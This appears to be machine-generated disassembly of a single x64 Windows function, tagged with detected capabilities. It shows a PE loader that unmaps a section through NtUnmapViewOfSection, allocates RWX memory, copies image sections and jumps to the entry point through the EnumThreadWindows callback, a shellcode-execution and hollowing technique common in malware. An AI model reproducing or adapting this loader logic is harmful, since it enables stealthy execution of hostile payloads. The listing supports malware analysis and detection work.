Function at 0x180013d30
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Parse pe header
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r8, qword [0x1800b3418]
xor ebx, ebx
mov r14, rcx
mov dword [rsp + 0x28], ebx
mov r12, 0xffffffffffffffff
mov qword [rsp + 0x20], rbx
mov r9d, r12d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, eax
mov edi, eax
add edx, 1
movsxd rcx, edx
mov edx, 2
cmovo rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov r8, qword [0x1800b3418]
mov r9d, r12d
xor edx, edx
mov dword [rsp + 0x28], edi
mov ecx, 0xfde9
mov qword [0x1800b3410], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [0x1800b3410]
lea rdx, [0x1800b3520]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [0x1800b3520]
mov ebp, ebx
mov qword [0x1800b3408], rax
lea edi, [rcx*8]
test ecx, ecx
jle 0x180013e30
mov esi, ebx
nop word [rax + rax]
mov r8, qword [rsi + rax]
mov r9d, r12d
mov qword [rsp + 0x38], rbx
xor edx, edx
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebp
lea rsi, [rsi + 8]
add edi, eax
cmp ebp, dword [0x1800b3520]
jge 0x180013e30
mov rax, qword [0x1800b3408]
jmp 0x180013df0
movsxd rdx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
movsxd rdx, dword [0x1800b3520]
mov r15d, ebx
mov qword [0x1800b33f8], rax
lea ecx, [rdx*8]
sub edi, ecx
lea rbp, [rax + rdx*8]
test edx, edx
jle 0x180013eb2
mov rsi, rbx
mov r8, qword [0x1800b3408]
mov r9d, r12d
mov qword [rsp + 0x38], rbx
xor edx, edx
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], edi
mov r8, qword [rsi + r8]
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [0x1800b33f8]
lea rsi, [rsi + 8]
sub edi, eax
inc r15d
mov qword [rsi + rcx - 8], rbp
movsxd rcx, eax
add rbp, rcx
cmp r15d, dword [0x1800b3520]
jl 0x180013e60
mov dword [0x1800b3400], 1
test r14, r14
je 0x18001401a
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x18001401a
movsxd rax, dword [r14 + 0x3c]
cmp eax, 0x400
jg 0x18001401a
cmp dword [r14 + rax], 0x4550
lea rsi, [r14 + rax]
jne 0x18001401a
test rsi, rsi
je 0x18001401a
movsxd r15, dword [r14 + 0x3c]
add r15, r14
cmp dword [r15], 0x4550
jne 0x180013f1e
add r15, 0xb0
cmp dword [r15], ebx
cmove r15, rbx
jmp 0x180013f21
mov r15, rbx
mov rdi, qword [rsi + 0x30]
lea rcx, [0x1800976c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsi + 0x30]
mov rcx, r12
call rax
mov edx, dword [rsi + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x180013f97
test r15, r15
je 0x18001401a
mov edx, dword [rsi + 0x50]
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x18001401a
mov r8d, dword [rsi + 0x54]
mov rdx, r14
mov rcx, rbp
mov qword [rsi + 0x30], rbp
call sub.VCRUNTIME140.dll_memcpy
cmp bx, word [rsi + 6]
jae 0x180013fe2
lea rdi, [rsi + 0x11c]
nop word [rax + rax]
mov edx, dword [rdi]
mov ecx, dword [rdi - 8]
add rdx, r14
mov r8d, dword [rdi - 4]
add rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsi + 6]
lea rdi, [rdi + 0x28]
inc ebx
cmp ebx, eax
jl 0x180013fc0
mov rcx, rbp
call fcn.180013900
mov edx, dword [rsi + 0x28]
xor r8d, r8d
add rdx, rbp
xor ecx, ecx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
jmp qword [sym.imp.USER32.dll_EnumThreadWindows]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3